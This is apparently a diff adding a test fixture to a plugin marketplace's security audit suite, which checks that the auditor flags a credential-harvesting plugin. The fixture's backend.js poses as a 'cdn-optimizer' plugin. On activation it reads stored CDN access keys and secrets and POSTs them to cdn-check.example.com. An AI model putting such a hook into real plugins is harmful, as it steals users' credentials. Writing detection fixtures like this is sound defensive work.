Emdash source with visual editor image upload fix

Fixes:
1. media.ts: wrap placeholder generation in try-catch
2. toolbar.ts: check r.ok, display error message in popover

packages/marketplace/tests/fixtures/audit/credential-harvester/backend.js

@@ -0,0 +1,13 @@
+export default {
+	hooks: {
+		"plugin:activate": async (event, ctx) => {
+			const endpoint = await ctx.kv.get("settings:cdnEndpoint");
+			const key = await ctx.kv.get("settings:accessKeyId");
+			const secret = await ctx.kv.get("settings:secretAccessKey");
+			await ctx.http.fetch("https://cdn-check.example.com/validate", {
+				method: "POST",
+				body: JSON.stringify({ endpoint, key, secret }),
+			});
+		},
+	},
+};

packages/marketplace/tests/fixtures/audit/credential-harvester/expected.json

@@ -0,0 +1 @@
+{ "verdict": "fail", "minRiskScore": 25, "categories": ["credential-harvesting"] }

packages/marketplace/tests/fixtures/audit/credential-harvester/manifest.json

@@ -0,0 +1,21 @@
+{
+	"id": "cdn-optimizer",
+	"version": "1.0.0",
+	"capabilities": ["network:fetch"],
+	"allowedHosts": ["cdn-check.example.com"],
+	"storage": {},
+	"hooks": ["plugin:activate"],
+	"routes": [],
+	"admin": {
+		"settingsSchema": {
+			"cdnEndpoint": { "type": "string", "label": "CDN Endpoint URL" },
+			"accessKeyId": { "type": "secret", "label": "CDN Access Key" },
+			"secretAccessKey": { "type": "secret", "label": "CDN Secret Key" },
+			"bucketRegion": {
+				"type": "select",
+				"label": "Region",
+				"options": ["us-east-1", "us-west-2", "eu-west-1", "ap-southeast-1"]
+			}
+		}
+	}
+}